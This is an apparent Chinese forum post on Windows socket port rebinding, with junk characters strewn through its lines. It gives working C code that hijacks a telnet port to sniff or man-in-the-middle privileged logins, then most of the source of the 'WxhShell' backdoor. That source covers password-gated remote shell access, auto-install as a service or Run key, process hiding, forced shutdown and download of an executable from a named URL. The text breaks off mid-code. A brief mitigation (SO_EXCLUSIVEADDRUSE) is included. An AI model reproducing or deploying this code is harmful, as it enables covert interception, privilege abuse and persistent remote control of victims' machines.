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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }/xdHt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W70BRXe04D  
odeO(zuU  
  saddr.sin_family = AF_INET; ~8Ef`zL  
@$ )C pg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i[U=-4 J  
cJ,`71xop,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "g!/^A!!  
9zehwl]~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kx0w?A8-  
/{ 8.Jcx$  
  这意味着什么?意味着可以进行如下的攻击: )]}68}9  
Df $Yn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C5^N)-]"  
K8iQ?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) { 6*UtG  
FZ% WD@=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <dY{@Cgw=  
VDy_s8Z#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %+$!ctn  
(n{!~'3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /P{'nI  
0pe*DbYP5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3t] 0  
SMm$4h R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oW/H8q<wY  
6nk.q|n:g  
  #include oA ]F`N=  
  #include # f{L;  
  #include jAFJ?L(  
  #include    7mS_Cz+cB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0vz!)  
  int main() H%Sx*|  
  { .V^h<d{  
  WORD wVersionRequested; HtI>rj/\ x  
  DWORD ret; B{_-k  
  WSADATA wsaData; |VX0o2  
  BOOL val; H`U>ZJ.  
  SOCKADDR_IN saddr; s[/)v:  
  SOCKADDR_IN scaddr; /%^^hr  
  int err; 3D rW[\  
  SOCKET s; yH@2nAn  
  SOCKET sc;  ~\+m o  
  int caddsize; 7!, p,|K  
  HANDLE mt; $5yH8JU  
  DWORD tid;   FE?^}VH  
  wVersionRequested = MAKEWORD( 2, 2 ); k$K>ml/h  
  err = WSAStartup( wVersionRequested, &wsaData ); YcuHYf5  
  if ( err != 0 ) { Il s^t  
  printf("error!WSAStartup failed!\n"); ^d/,9L\U  
  return -1; }D#[yE,=\  
  } yi1V\8DC  
  saddr.sin_family = AF_INET; ML_[Z_Q<z  
   U[l{cRT   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o,y {fv:ki  
{cYbM[}U"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BO=j*.YKy  
  saddr.sin_port = htons(23); :sb+jk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "C%* 'k  
  { ^cYt4NHXn  
  printf("error!socket failed!\n"); PxZMH=  
  return -1; xXc3#n  
  } ,HO@bCK  
  val = TRUE; vn=0=(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @$d_JwI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c:z<8#A}  
  { 2Y{r2m|o  
  printf("error!setsockopt failed!\n"); _M}}H3  
  return -1; |/p2DU2  
  } /H[!v:U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $P~Tt4068  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3MFb\s&Fq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S QVyCxcX_  
 'x\{sv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -qndBS  
  {  w4p<q68  
  ret=GetLastError(); FZhjI 8+,~  
  printf("error!bind failed!\n"); !_UBw7Zm  
  return -1; P&]PJt5  
  } I!-5 #bxD  
  listen(s,2); BnLE +X  
  while(1) ;F'/[l{+  
  { 5U&?P   
  caddsize = sizeof(scaddr); &8wluOs/5  
  //接受连接请求 3sq(FsT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J#& C&S 2  
  if(sc!=INVALID_SOCKET) '@+a]kCMev  
  { d#G H4+C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o8lwwM*  
  if(mt==NULL) -nrfu)G  
  { .EQ1r7 9,  
  printf("Thread Creat Failed!\n"); k%?A=h  
  break; eMC0 )B  
  } %]i("21  
  } u9%)_Q!14  
  CloseHandle(mt); }7jg>3ng(  
  } %phv<AW  
  closesocket(s); Nt'u;0  
  WSACleanup(); 5hbQUF ,Q  
  return 0; F45UO%/P  
  }   zmMz6\ $  
  DWORD WINAPI ClientThread(LPVOID lpParam) C %o^AR  
  { gkyv[  
  SOCKET ss = (SOCKET)lpParam; &-0 eWwMW  
  SOCKET sc; Fps.Fhm  
  unsigned char buf[4096]; i.`RQZ$,/  
  SOCKADDR_IN saddr; SLG3u;Ab  
  long num; F[S Ys/M  
  DWORD val; HJu;4O($  
  DWORD ret; wm r8[n&c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^yB>0/{)z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U$(AZ|0  
  saddr.sin_family = AF_INET; (GdL(H#IL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e7.!=R{6  
  saddr.sin_port = htons(23); ;MR(Eaep  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~?)ST?&  
  { mT2Fn8yC1  
  printf("error!socket failed!\n"); PjkJsH  
  return -1; c}>p"  
  } " Q~-C|x  
  val = 100; z2lEHa?w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #E( n  
  { Ll L8Q  
  ret = GetLastError(); ?0VLx,kp  
  return -1; BK1Aq3*)  
  } ES#K'Lf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }TCOm_Y/qL  
  { E|Lv_4lb=  
  ret = GetLastError(); %r*zd0*<n1  
  return -1; c|'hs   
  } }~RH!Q1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,4wZ/r> d  
  { Dab1^H!KT  
  printf("error!socket connect failed!\n"); =K)au$BE|  
  closesocket(sc); GUyc1{6  
  closesocket(ss); EI29;  
  return -1; $iA`_H`W  
  } v&EHp{8Qd  
  while(1) *?`:=  
  { G*|2qX"o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ? N|B,F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i }5 #n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f}'E|:Z 7k  
  num = recv(ss,buf,4096,0); n2+eC9I  
  if(num>0) \5%T'S@5  
  send(sc,buf,num,0); 0r+%5}|-K  
  else if(num==0) l%^'K%'b  
  break; c!BiGw,;  
  num = recv(sc,buf,4096,0); W1s4[rL!Ht  
  if(num>0) m"!!)  
  send(ss,buf,num,0); v?\bvg\E  
  else if(num==0) @Ooh}V#J  
  break; %@{);5[  
  } DaW_-:@s  
  closesocket(ss); 24Y~x`W   
  closesocket(sc); Z;_WU  
  return 0 ; oh5fNx  
  } =B(zW .Gf  
l#,WMu&  
v |XEC[F  
========================================================== #isBE}sT{  
* SG0-_S  
下边附上一个代码,,WXhSHELL 10JxfDceD  
+x!V;H(  
========================================================== u=I>DEe@ c  
]~z2s;J{/  
#include "stdafx.h" Z50]g  
EV@xUq!x .  
#include <stdio.h> V$wf;v0d(  
#include <string.h> ?.:C+*+  
#include <windows.h> bQ=R,  
#include <winsock2.h> 1_7}B4  
#include <winsvc.h> <8Qa"<4f;  
#include <urlmon.h> _AQ :<0/#  
:CN,I!:  
#pragma comment (lib, "Ws2_32.lib") hIw<gb4J%  
#pragma comment (lib, "urlmon.lib") qPpC)6-Q  
j0k"iv  
#define MAX_USER   100 // 最大客户端连接数 >Z?3dM~[  
#define BUF_SOCK   200 // sock buffer AO9F.A<T5  
#define KEY_BUFF   255 // 输入 buffer X.,1SYG[  
L!-@dz  
#define REBOOT     0   // 重启 4b8!LzKS  
#define SHUTDOWN   1   // 关机 4 ~17s`+  
E#_TX3B   
#define DEF_PORT   5000 // 监听端口 )#r]x1[Kn  
G Cx]VN3 &  
#define REG_LEN     16   // 注册表键长度 ()vxTTa  
#define SVC_LEN     80   // NT服务名长度 v!ULErs  
gJ>?<F;  
// 从dll定义API O1@xF9<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X+{4,?04+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cT8jG ,+"}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =F ZvtcCa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N`/6 By  
W:P4XwR{  
// wxhshell配置信息 Cl]E rg  
struct WSCFG { ~?dPF;.6_  
  int ws_port;         // 监听端口 aU2O5z&  
  char ws_passstr[REG_LEN]; // 口令 {vAq08  
  int ws_autoins;       // 安装标记, 1=yes 0=no a Kb2:1EQ  
  char ws_regname[REG_LEN]; // 注册表键名 A1p;Ye>o~  
  char ws_svcname[REG_LEN]; // 服务名 P}H7WH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S@zsPzw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E'e#axF;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hq^sU%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >U9*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jd=k[Yqr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @3{'!#/  
\{n]&IjA  
}; .8CR \-  
LZyUlz  
// default Wxhshell configuration >(u=/pp=:  
struct WSCFG wscfg={DEF_PORT, A%u-6"  
    "xuhuanlingzhe", S 1|[}nYP  
    1, <?,o {  
    "Wxhshell", 7,_N9Q]rB  
    "Wxhshell", JcZs\ fl9  
            "WxhShell Service", cp2e,%o  
    "Wrsky Windows CmdShell Service", }(dhXOf\q  
    "Please Input Your Password: ", Fp-d69Npo  
  1, Ud:v3"1  
  "http://www.wrsky.com/wxhshell.exe", W z3y+I/&  
  "Wxhshell.exe" 'uBW1,  
    }; vI#\ Qe  
#OH-LWZh  
// 消息定义模块 D2~e@J(K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H__9%p#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~d 7!)c`z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y-{^L`%Mk  
char *msg_ws_ext="\n\rExit."; ]E88zWDY`  
char *msg_ws_end="\n\rQuit."; ooByGQ90V:  
char *msg_ws_boot="\n\rReboot..."; )=;0  
char *msg_ws_poff="\n\rShutdown..."; on+ c*#  
char *msg_ws_down="\n\rSave to "; BULX*eOt  
^!1mChf  
char *msg_ws_err="\n\rErr!"; j|KZ HH%dc  
char *msg_ws_ok="\n\rOK!"; /_?Ly$>'  
6Ez}A|i  
char ExeFile[MAX_PATH]; ge[f/"u  
int nUser = 0; 29pIO]8;  
HANDLE handles[MAX_USER]; +BM(0M+  
int OsIsNt; h{yqNl  
goeWZO  
SERVICE_STATUS       serviceStatus; t&wtw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3*3WO,9  
Nj qUUkc  
// 函数声明 y:D|U!o2V  
int Install(void); *8fnxWR   
int Uninstall(void); @P4fR7  
int DownloadFile(char *sURL, SOCKET wsh); LqPn$rZ|$  
int Boot(int flag); zhU)bb[A  
void HideProc(void); c{6!}0Q4  
int GetOsVer(void); bJ]g2C7`36  
int Wxhshell(SOCKET wsl); fC2e}WR   
void TalkWithClient(void *cs); )wo'i]#2:  
int CmdShell(SOCKET sock); =g2; sM/  
int StartFromService(void); uOEy}&fH  
int StartWxhshell(LPSTR lpCmdLine); IBC P6[  
9n$GeRO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1Qtojph  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V(A6>0s$|  
D&/(Avx.  
// 数据结构和表定义 (+38z)f  
SERVICE_TABLE_ENTRY DispatchTable[] = v1QE|@  
{ fnG&29x  
{wscfg.ws_svcname, NTServiceMain}, UC;_}>  
{NULL, NULL} b"t!nfgo  
}; $VhUZGuG>  
,;'9PsIS^  
// 自我安装 v}IkY  
int Install(void) ngcXS2S_  
{ ?3Se=7 k  
  char svExeFile[MAX_PATH]; SY["dcx+  
  HKEY key; .:*V CDOM  
  strcpy(svExeFile,ExeFile); nfq  
g9H~\w  
// 如果是win9x系统,修改注册表设为自启动 vdYd~>w  
if(!OsIsNt) { {%'(IJ|5z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]YQlCx`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r Ka7[/  
  RegCloseKey(key); x1]^].#Eo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0"kNn5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +iir]"8  
  RegCloseKey(key); !,+peMy  
  return 0; 5v=%pQbY  
    } &eG,CIT  
  } > F&Wuf  
} bg*4Z?[dd  
else { G?{BVWtl}  
l&(,$RmYp  
// 如果是NT以上系统,安装为系统服务 07DpvhDQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |rka/_  
if (schSCManager!=0) :t8(w>oW  
{ WQ<J<$$uu  
  SC_HANDLE schService = CreateService { ,/mQ3  
  ( 3 ~0Z.!O  
  schSCManager, a=&a)FR  
  wscfg.ws_svcname, j` 9pZAF  
  wscfg.ws_svcdisp, '`#2'MXG  
  SERVICE_ALL_ACCESS, ^1BQejD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ka&[ Oz<w  
  SERVICE_AUTO_START, 0PI C|  
  SERVICE_ERROR_NORMAL, S " R]i  
  svExeFile, PGsXB"k<8  
  NULL, iE, I\TY[  
  NULL, r ioNP(  
  NULL, .dt7b4.kd  
  NULL, _$s9o$8$  
  NULL L"&j(|{  
  ); XL>c TM  
  if (schService!=0) '^'vafs-/@  
  { ".O+";wk  
  CloseServiceHandle(schService); x1W<r)A )r  
  CloseServiceHandle(schSCManager); y5 $h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZMy0iQ@  
  strcat(svExeFile,wscfg.ws_svcname); d_BECx <\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YgNt>4K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^]3Y11sI  
  RegCloseKey(key); sWP5=t(i+9  
  return 0; Yj|Oy  
    } ,`v)nwP  
  } fHCLsI  
  CloseServiceHandle(schSCManager); 5e~\o}]  
}  #:_qo  
} XMd-r8yYr  
N W :_)1  
return 1; vcy}ZqWBO  
} NDEltG(  
.$y}}/{j?[  
// 自我卸载 d&4]?8}=.  
int Uninstall(void) I$9^i#O'3  
{ +VkhM;'"C  
  HKEY key; ?D]4*qsIlu  
tI0d!8K  
if(!OsIsNt) { 1T a48  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `9n%Dy<  
  RegDeleteValue(key,wscfg.ws_regname); 9}Ud'#E  
  RegCloseKey(key); uV!Ax *'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L}*:,&Y/  
  RegDeleteValue(key,wscfg.ws_regname); {O9CYP:  
  RegCloseKey(key); [x ?38  
  return 0; JziuwL5,  
  } Lg0Vn&k  
} o@mZ6!ax3  
} K9B_o,  
else { ?2zVWZ  
\ce (/I   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `[p*qsp_  
if (schSCManager!=0) Fq>=0 )  
{ R5c Ya  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 47.c  
  if (schService!=0) @.;] $N&J  
  { ,)e&u1'  
  if(DeleteService(schService)!=0) { &Ed7|k]H  
  CloseServiceHandle(schService); _fx0-S*$  
  CloseServiceHandle(schSCManager); zZ &L#  
  return 0; D1o<:jOj  
  } k #y4pF_  
  CloseServiceHandle(schService); ;UTT>j  
  }  17AJT  
  CloseServiceHandle(schSCManager); Dj}n!M`2I  
} .[%em9u  
} 8\+kfK  
D 's'LspQ  
return 1; Ca?5bCI,  
} M9'Qs m  
7pMQ1- (  
// 从指定url下载文件 U]tbV<m%  
int DownloadFile(char *sURL, SOCKET wsh) jX}}^XwX  
{ <NZ^*]  
  HRESULT hr; -.-j e"E  
char seps[]= "/"; k~Qb"6n2  
char *token; 7\m.xWX e  
char *file; sVtx h]  
char myURL[MAX_PATH]; <`,pyvR Kv  
char myFILE[MAX_PATH]; @RGVcfCG)  
Y?W"@awE"\  
strcpy(myURL,sURL); PPSf8-MLW  
  token=strtok(myURL,seps); 9v>BP`Mg  
  while(token!=NULL) g^ZsV:D  
  { eYZ{mo7  
    file=token; hbRDM'  
  token=strtok(NULL,seps); ~CiVLS H=  
  } }`#OA]NZ  
dR~4*59Bg  
GetCurrentDirectory(MAX_PATH,myFILE); qplz !=  
strcat(myFILE, "\\"); N=FU>qbz  
strcat(myFILE, file); 7hwl[knyB  
  send(wsh,myFILE,strlen(myFILE),0); =<mpZ'9gW  
send(wsh,"...",3,0);  lc9aDt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M\O6~UFq!  
  if(hr==S_OK) Tap=K|b ]  
return 0; 5[l9`Cn&A  
else K dY3  
return 1; "S#4  
ru[W?O"  
} 7 zo)t1H1  
vH/<!jtI  
// 系统电源模块 qOy3D~  
int Boot(int flag) ^*.S7.;2o  
{ 9s\(yC8h  
  HANDLE hToken; V\Oe] w  
  TOKEN_PRIVILEGES tkp; ^%l~|w  
0!X;C!v;  
  if(OsIsNt) { H%N !;Jz=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *)0bifw$&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c@9jc^CJ  
    tkp.PrivilegeCount = 1; "^E/N},%u5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9l) .L L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EOJk7  
if(flag==REBOOT) { (O{5L(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <Y~?G:v6+  
  return 0; 4a3Xz,[(a  
} v,t;!u,40  
else { /*3[9,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G{$(t\>8  
  return 0; :K&>  
} 62lG,y_L  
  } mUW|4zl i}  
  else { uim4,Zm{  
if(flag==REBOOT) { }YUUCq&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YT7,=k_  
  return 0; Trd/\tX#v&  
} ngF5ywIG  
else { RDU,yTHq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .Rt_j  
  return 0; Kq!E<|yM  
} vlYDhjZk#  
} <SM{yMz  
lF-;h{   
return 1; YT!QY@qw  
} SN2X{Q|*  
S~jl%]  
// win9x进程隐藏模块 ga0>J_  
void HideProc(void) 7^$PauAv  
{ XrR@cDNx{  
;#c|ZnX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #N%ATV  
  if ( hKernel != NULL ) ]D|sQPi]F  
  { JqWMO!1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0v6(A4Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !wH7;tU  
    FreeLibrary(hKernel); @ k+Z?Hp  
  } 4T#B7wVoM  
g-^Cf   
return; vt{s"\f  
} 9y=$ |"<(  
.5=Qf vi*  
// 获取操作系统版本 i8R.Wl$l  
int GetOsVer(void) 8joJ e>9VJ  
{ + $i-"^  
  OSVERSIONINFO winfo; ;)Rvk&J5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |k5uVhN  
  GetVersionEx(&winfo); d{_tOj$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Oi{X \Y  
  return 1; 0Yz &aH  
  else WBTdQG Q6  
  return 0; <3\t J  
} gs;3NW  
x17cMfCH%  
// 客户端句柄模块 2w`kh=  
int Wxhshell(SOCKET wsl) &W/C2cpmR  
{ =XWew*  
  SOCKET wsh; 4u5^I;4pL  
  struct sockaddr_in client; :ie7HF  
  DWORD myID; CD#:*  
Y9F78=Q  
  while(nUser<MAX_USER) 9( ;lcOz  
{ a<+Qw'  
  int nSize=sizeof(client); $<^4G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]'Y vI! r  
  if(wsh==INVALID_SOCKET) return 1; 0gNwC~IA8  
;)ff Gg>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K{[ySB  
if(handles[nUser]==0) dRg1I=|{_  
  closesocket(wsh); 51.! S  
else rAqg<fR*  
  nUser++; SF*! Z2K  
  } F5Ce:+h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =\s(v-8  
dtJaQ`  
  return 0; +gb2>fei&  
} l'YpSO~l7  
@W3fKF9*R  
// 关闭 socket r1:S8RT;H5  
void CloseIt(SOCKET wsh) Ko%&~C_  
{ T xRa&1  
closesocket(wsh); ]X4 A)4y  
nUser--; \ B 0xL,o<  
ExitThread(0); K~$o2a e  
} )fSQTbB;0  
-L7Q,"a$  
// 客户端请求句柄 (bH*i\W  
void TalkWithClient(void *cs) [sG=(~BU  
{ U(5(0r  
>O[# 661  
  SOCKET wsh=(SOCKET)cs; w91gM*A  
  char pwd[SVC_LEN]; s+?r4t3H!  
  char cmd[KEY_BUFF]; pE >~F  
char chr[1]; U+sAEN_e k  
int i,j; O?Xg%k#  
Z[8{V  
  while (nUser < MAX_USER) { YIs(Q  
Qg  
if(wscfg.ws_passstr) { btb-MSkO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V.J[Uwf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d#7 z N  
  //ZeroMemory(pwd,KEY_BUFF); MNip;S_j  
      i=0; i}Ea>bi{N  
  while(i<SVC_LEN) { %)_R>.>  
Pz3jc|Ga  
  // 设置超时 :,<e  
  fd_set FdRead; V/i&8UMw  
  struct timeval TimeOut; -)@DH;[tb  
  FD_ZERO(&FdRead); 7SYU^GD  
  FD_SET(wsh,&FdRead); *g&[?y`UC  
  TimeOut.tv_sec=8; ?bbu^;2*f  
  TimeOut.tv_usec=0; ?b, eZ+t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6 )eO%M`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &,Dh*)k  
eG26m_S=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M`HXUA4  
  pwd=chr[0]; J'tc5Ip!}V  
  if(chr[0]==0xd || chr[0]==0xa) { 2vWJ|&|p  
  pwd=0; >69xl^Gd  
  break; R7cY$ K{j  
  } 5o\yhYS:  
  i++; Z QND^a:  
    } En 3Q%  
@TC_XU)&  
  // 如果是非法用户,关闭 socket YhFB*D;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dw    
} M5 ep\^  
{/12.y=)~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <jU[&~p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ch,<4E/c[R  
zllY $V&<!  
while(1) { l){l*~5zl2  
7~TE=t  
  ZeroMemory(cmd,KEY_BUFF); t6_6Bl:  
?m#X";^V  
      // 自动支持客户端 telnet标准   uy{mSx?td  
  j=0; +#O?a`f  
  while(j<KEY_BUFF) { MdT'xYomzQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tDFN *#(  
  cmd[j]=chr[0]; 2Xk(3J!!'a  
  if(chr[0]==0xa || chr[0]==0xd) { F>&Q5Kl R  
  cmd[j]=0; Oa\!5Pw1  
  break; Ac<V!v71  
  } ]hTYh^'e  
  j++; 20;M-Wx  
    } qJB9z0a<Ov  
u*`acmS>N  
  // 下载文件 *>rpcS<l  
  if(strstr(cmd,"http://")) { rP,i,1Ar 4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lhu2;F\/  
  if(DownloadFile(cmd,wsh)) %).phn"ij[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <||F$t  
  else i{PRjkR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g;w4:k)U  
  } ^#e:q  
  else { .z7X Ymv  
:6PWU$z$7  
    switch(cmd[0]) { XLp tJ4~v  
   f]q3E[?/  
  // 帮助 $ t_s7  
  case '?': { )zI<C=])"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g*\u8fpRq  
    break; t`+x5*g W  
  } ~}w(YQy=y  
  // 安装 QsI#Ae,O#;  
  case 'i': { zTrAk5E  
    if(Install()) 3Gf^IV-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -vwkvNn8  
    else "cRc~4%K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u].=b$wHHM  
    break; eV^@kI4  
    } O[y.3>l[s  
  // 卸载  IPa08/  
  case 'r': { D<5)i)J"  
    if(Uninstall()) h=YY> x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i68'|4o  
    else $4'I 3{$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xZPSoxu  
    break; _ZIaEJjH/  
    } r vVU5zA4H  
  // 显示 wxhshell 所在路径 e{U`^ao`F8  
  case 'p': { IB /.i(  
    char svExeFile[MAX_PATH]; $&nF1HBI4  
    strcpy(svExeFile,"\n\r"); b* qkox;j  
      strcat(svExeFile,ExeFile); %~J90a  
        send(wsh,svExeFile,strlen(svExeFile),0); g$kK)z  
    break; UtG@0(6C  
    } v<_}Br2I[  
  // 重启 I:u xj%  
  case 'b': { F}<&@7kF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D}px=?  
    if(Boot(REBOOT)) COc1np  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 's@v'u3  
    else { [nn/a?Z4S  
    closesocket(wsh); ?c"No|@+  
    ExitThread(0); a-x8LfcbF  
    } l!Z>QE`.S  
    break; 4O9HoX#-?  
    } KMhoG.$Ra  
  // 关机 aoz+g,1 //  
  case 'd': { ~YO')  
